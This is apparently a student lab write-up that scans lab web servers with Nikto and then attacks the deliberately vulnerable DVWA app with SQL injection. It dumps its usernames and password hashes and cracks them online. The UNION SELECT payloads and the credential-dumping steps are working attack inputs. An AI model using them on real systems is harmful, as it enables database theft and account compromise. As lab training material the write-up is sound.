

# Nikto and SQL injection lab -Maxatefoe

Nikto is an open-source command-line web server scanner that checks for security vulnerabilities and other misconfigurations in a webserver.

This lab was done to display the usage of this tool

Let's get into it.....

- started with checking out the guide of the tool (you could use the "--help" flag or the man command to get this info)

The terminal window shows the following Nikto help output:

```
(kali㉿Kali)-[~]
$ nikto
- Nikto v2.5.0
+ ERROR: No host (-host) specified

Options:
  -ask+           Whether to ask about submitting updates
                  yes   Ask about each (default)
                  no    Don't ask, don't send
                  auto  Don't ask, just send
  -check6         Check if IPv6 is working (connects to ipv6.google.com or value set in nikto.conf)
  -Cgidirs+       Scan these CGI dirs: "none", "all", or values like "/cgi/ /cgi-a/"
  -config+        Use this config file
  -Display+       Turn on/off display outputs:
                  1 Show redirects
                  2 Show cookies received
                  3 Show all 200/OK responses
                  4 Show URLs which require authentication
                  D Debug output
                  E Display all HTTP errors
                  P Print progress to STDOUT
                  S Scrub output of IPs and hostnames
                  V Verbose output
  -dbcheck         Check database and other key files for syntax errors
  -evasion+       Encoding technique:
                  1 Random URI encoding (non-UTF8)
                  2 Directory self-reference (./.)
                  3 Premature URL ending
                  4 Prepend long random string
                  5 Fake parameter
                  6 TAB as request spacer
                  7 Change the case of the URL
                  8 Use Windows directory separator (\)
                  A Use a carriage return (0x0d) as a request spacer
                  B Use binary value 0x0b as a request spacer
  -followredirects Follow 3xx redirects to new location
  -Format+        Save file (-o) format:
                  csv  Comma-separated-value
                  json JSON Format
                  htm HTML Format
                  nbe Nessus NBE format
                  sql Generic SQL (see docs for schema)
                  txt Plain text
                  xml XML Format
                  (if not specified the format will be taken from the file extension passed to -output)
  -Help+          This help information
  -hosts+         Target host/URL
```

The DVWA web application interface shows the following details:

- Security Level: low
- PHPIDS: disabled
- Username: admin
- Security Level: low
- PHPIDS: disabled

- Created an ip list(using nano) of the addresses of the webserver's we'll be testing out

The terminal window shows the following content in the iplist.txt file:

```
GNU nano 7.2
10.6.6.11
10.6.6.13
10.6.6.14
10.6.6.23
172.17.0.2
```

- used nikto against the targets in the list

- as seen it found a lot of vulns like files with login creds and misconfigurations like missing http only flags
  - since the results are not easily readable , we used nikto to create and html report to make it more legible (GUI always makes everything visually pleasing lol)
  - we parsed this using the "-o" flag to the report name {scanresults.html}

```
+ 4 host(s) tested
└─(kali㉿Kali)-[~]
$ nikto -h 172.17.0.2 -o scanresults.html
- Nikto v2.5.0

+ Target IP:      172.17.0.2
+ Target Hostname: 172.17.0.2
+ Target Port:    80
+ Start Time:    2026-01-18 12:06:20 (GMT0)

+ Server: Apache/2.2.8 (Ubuntu) DAV/2
+ /: Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.10.
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /index: Uncommon header 'tcn' found, with contents: list.
+ /index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. The following alternatives for 'index' were found: index.php. See: http://www.wisec.it/sector.php?id=4698bebdc59d15 https://exchange.xforce.ibmcloud.com/vulnerabilities/8275
+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing
+ /phpinfo.php: Output from the phpinfo() function was found.
+ /doc/: Directory indexing found.
+ /doc/: The /doc/ directory is browsable. This may be /usr/doc. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0678
+ /?PHPBB2F2A0...3C92_1cB_A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /?PHPBB568F36-D428_11c2_A769_00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /?PHPBB568F34-D428_11c2_A769_00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /?PHPBB568F35-D428_11c2_A769_00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /phpMyAdmin/changelog.php: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ /phpMyAdmin/ChangeLog: Server may leak inodes via Etags, header found with file /phpMyAdmin/ChangeLog, inode: 1115138, size: 40540, mtime: Tue Dec 9 17:24:00 2008. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ /phpMyAdmin/ChangeLog: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ /test/: Directory indexing found.
+ /test/: This might be interesting.
+ /phpinfo.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information. See: CWE-552
+ /icons/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /phpMyAdmin/: phpMyAdmin directory found.
+ /phpMyAdmin/Documentation.html: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ /phpMyAdmin/README: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts. See: https://typo3.org/
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8910 requests: 0 error(s) and 27 item(s) reported on remote host
+ End Time:    2026-01-18 12:06:56 (GMT0) (36 seconds)

+ 1 host(s) tested
└─(kali㉿Kali)-[~]
```

172.17.0.2 / 172.17.0.2 port 80	
<b>Target IP</b>	172.17.0.2
<b>Target hostname</b>	172.17.0.2
<b>Target Port</b>	80
<b>HTTP Server</b>	Apache/2.2.8 (Ubuntu) DAV/2
<b>Site Link (Name)</b>	<a href="http://172.17.0.2:80/">http://172.17.0.2:80/</a>
<b>Site Link (IP)</b>	<a href="http://172.17.0.2:80/">http://172.17.0.2:80/</a>
<b>URI</b>	/
<b>HTTP Method</b>	GET
<b>Description</b>	/: Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.10.
<b>Test Links</b>	<a href="http://172.17.0.2:80/">http://172.17.0.2:80/</a> <a href="http://172.17.0.2:80/">http://172.17.0.2:80/</a>
<b>References</b>	
<b>URI</b>	/
<b>HTTP Method</b>	GET
<b>Description</b>	/: The anti-clickjacking X-Frame-Options header is not present.
<b>Test Links</b>	<a href="http://172.17.0.2:80/">http://172.17.0.2:80/</a> <a href="http://172.17.0.2:80/">http://172.17.0.2:80/</a>
<b>References</b>	<a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options">https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options</a>
<b>URI</b>	/
<b>HTTP Method</b>	GET
<b>Description</b>	/: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type.
<b>Test Links</b>	<a href="http://172.17.0.2:80/">http://172.17.0.2:80/</a> <a href="http://172.17.0.2:80/">http://172.17.0.2:80/</a>
<b>References</b>	<a href="https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/">https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/</a>
<b>URI</b>	/index
<b>HTTP Method</b>	GET
<b>Description</b>	/index: Uncommon header 'tcn' found, with contents: list.
<b>Test Links</b>	<a href="http://172.17.0.2:80/index">http://172.17.0.2:80/index</a> <a href="http://172.17.0.2:80/index">http://172.17.0.2:80/index</a>
<b>References</b>	
<b>URI</b>	/index
<b>HTTP Method</b>	GET
<b>Description</b>	/index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. The following alternatives for 'index' were found: index.php.
<b>Test Links</b>	<a href="http://172.17.0.2:80/index">http://172.17.0.2:80/index</a> <a href="http://172.17.0.2:80/index">http://172.17.0.2:80/index</a>
<b>References</b>	

a very useful tool, don't you think??

Unto the next one!!!.....

## SQL Injection

SQL Injection (SQLi) is a cyberattack where malicious SQL code is inserted into data-driven applications via input fields (like login forms, search bars) to trick the database into executing unintended commands, allowing attackers to steal, modify, or delete data, bypass authentication, and even take over the server by exploiting flaws where user input isn't properly validated or sanitized

This lab is done to simulate how SQLi attacks are done

- our target here is 10.6.6.13 a Damn vulnerable web app

Let's begin....

- Input: ?id=1' OR '1'='1 (this is mostly used to test if that input section is vulnerable to SQLi)
- The resulting query becomes: SELECT first\_name, last\_name FROM users WHERE user\_id = '1' OR '1'='1';
- This always evaluates to TRUE, returning all user data.

The screenshot shows the DVWA SQL Injection page. On the left, there's a sidebar with navigation links: Home, Instructions, Setup / Reset DB, Brute Force, Command Injection, CSRF, File Inclusion, File Upload, Insecure CAPTCHA, SQL Injection (selected), SQL Injection (Blind), XSS (Reflected), XSS (Stored), DVWA Security, PHP Info, About, and Logout. The main content area has a title "Vulnerability: SQL Injection". It features a form with "User ID:" and "Submit" buttons. Below the form, several SQL injection queries are listed, each with its corresponding first name and surname. At the bottom, there's a "More Information" section with links to various resources about SQL injection, and at the very bottom, there's footer information: "Username: admin", "Security Level: low", "PHPIDS: disabled", and buttons for "View Source" and "View Help".

Now that we know its vulnerable we can pull other data using different queries on the database

imma just list some of the data you can get

- the database name using this: 1' OR 1=1 UNION SELECT 1, DATABASE()#

The screenshot shows the DVWA SQL Injection page. On the left is a sidebar with various exploit categories. The 'SQL Injection' category is highlighted with a green background. The main content area has a heading 'Vulnerability: SQL Injection'. Below it is a form with a 'User ID:' input field and a 'Submit' button. The results show multiple entries, each starting with 'ID: 1' OR 1=1 UNION SELECT 1, DATABASE()#'. Each entry reveals a different database name and user information:

- ID: 1' OR 1=1 UNION SELECT 1, DATABASE()#  
First name: admin  
Surname: admin
- ID: 1' OR 1=1 UNION SELECT 1, DATABASE()#  
First name: Gordon  
Surname: Brown
- ID: 1' OR 1=1 UNION SELECT 1, DATABASE()#  
First name: Hack  
Surname: Me
- ID: 1' OR 1=1 UNION SELECT 1, DATABASE()#  
First name: Pablo  
Surname: Picasso
- ID: 1' OR 1=1 UNION SELECT 1, DATABASE()#  
First name: Bob  
Surname: Smith
- ID: 1' OR 1=1 UNION SELECT 1, DATABASE()#  
First name: 1  
Surname: dvwa

Below the results is a 'More Information' section with a list of links:

- <http://www.securiteam.com/securityreviews/5DP0N1P76E.html>
- [https://en.wikipedia.org/wiki/SQL\\_Injection](https://en.wikipedia.org/wiki/SQL_Injection)
- <http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/>
- <http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet>
- [https://www.owasp.org/index.php/SQL\\_Injection](https://www.owasp.org/index.php/SQL_Injection)
- <http://bobby-tables.com/>

- database name found: dvwa
- The database version using this: 1' OR 1=1 UNION SELECT 1, VERSION()#

The screenshot shows the DVWA SQL Injection page. The sidebar and main content area are identical to the previous screenshot, except for the results. The results now show the database version:

- ID: 1' OR 1=1 UNION SELECT 1, VERSION()#  
First name: admin  
Surname: admin
- ID: 1' OR 1=1 UNION SELECT 1, VERSION()#  
First name: Gordon  
Surname: Brown
- ID: 1' OR 1=1 UNION SELECT 1, VERSION()#  
First name: Hack  
Surname: Me
- ID: 1' OR 1=1 UNION SELECT 1, VERSION()#  
First name: Pablo  
Surname: Picasso
- ID: 1' OR 1=1 UNION SELECT 1, VERSION()#  
First name: Bob  
Surname: Smith
- ID: 1' OR 1=1 UNION SELECT 1, VERSION()#  
First name: 1  
Surname: 5.5.58-0+deb8u1

Below the results is a 'More Information' section with a list of links:

- <http://www.securiteam.com/securityreviews/5DP0N1P76E.html>
- [https://en.wikipedia.org/wiki/SQL\\_Injection](https://en.wikipedia.org/wiki/SQL_Injection)
- <http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/>

- version found: 5.5.58-0+deb8u1
- we could also get some user names and password from different table

- for example we used: 1' OR 1=1 UNION SELECT user, password FROM users #

The screenshot shows the DVWA SQL Injection page. On the left, a sidebar lists various attack types: Home, Instructions, Setup / Reset DB, Brute Force, Command Injection, CSRF, File Inclusion, File Upload, Insecure CAPTCHA, SQL Injection (selected), SQL Injection (Blind), XSS (Reflected), XSS (Stored), DVWA Security, PHP Info, About, and Logout. The main content area is titled "Vulnerability: SQL Injection". It contains a form with "User ID:" and a "Submit" button. Below the form, several UNION SELECT queries are displayed in red, each revealing database records:

- ID: 1' OR 1=1 UNION SELECT user, password FROM users #  
First name: admin  
Surname: admin
- ID: 1' OR 1=1 UNION SELECT user, password FROM users #  
First name: Gordon  
Surname: Brown
- ID: 1' OR 1=1 UNION SELECT user, password FROM users #  
First name: Hack  
Surname: Me
- ID: 1' OR 1=1 UNION SELECT user, password FROM users #  
First name: Pablo  
Surname: Picasso
- ID: 1' OR 1=1 UNION SELECT user, password FROM users #  
First name: Bob  
Surname: Smith
- ID: 1' OR 1=1 UNION SELECT user, password FROM users #  
First name: admin  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
- ID: 1' OR 1=1 UNION SELECT user, password FROM users #  
First name: gordonb  
Surname: e99a18c428cb38d5f260853678922e03
- ID: 1' OR 1=1 UNION SELECT user, password FROM users #  
First name: 1337  
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
- ID: 1' OR 1=1 UNION SELECT user, password FROM users #  
First name: pablo  
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
- ID: 1' OR 1=1 UNION SELECT user, password FROM users #  
First name: smithy  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

#### More Information

- This returns **usernames and passwords** from the database.
- we could crack those password hashes using any cracking tool here we used crackstation

The screenshot shows the CrackStation Free Password Hash Cracker interface. At the top, there's a navigation bar with "CrackStation", "Password Hashing Security", "Defuse Security", and "Def". Below the navigation is the title "Free Password Hash Cracker". A text input field says "Enter up to 20 non-salted hashes, one per line:" followed by a code editor containing several MD5 hashes:  
5f4dcc3b5aa765d61d8327deb882cf99  
e99a18c428cb38d5f260853678922e03  
8d3533d75ae2c3966d7e0d4fcc69216b  
0d107d09f5bbe40cade3de5c71e9e9b7  
5f4dcc3b5aa765d61d8327deb882cf99

Below the code editor, it says "Supports: LM, NTLM, md2, md4, md5, md5(md5\_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1(sh1\_bin)), QubesV3.1BackupDefaults". There's a reCAPTCHA checkbox labeled "I'm not a robot" with the note "reCAPTCHA is changing its terms of service. Take action." and links for "Privacy - Terms". A "Crack Hashes" button is at the bottom right. A table below shows cracked results:

Hash	Type	Result
5f4dcc3b5aa765d61d8327deb882cf99	md5	password
e99a18c428cb38d5f260853678922e03	md5	abc123
8d3533d75ae2c3966d7e0d4fcc69216b	md5	charley
0d107d09f5bbe40cade3de5c71e9e9b7	md5	letmein
5f4dcc3b5aa765d61d8327deb882cf99	md5	password

Color Codes: Green Exact match, Yellow Partial match, Red Not found.

this shows how dangerous of an attack SQLi is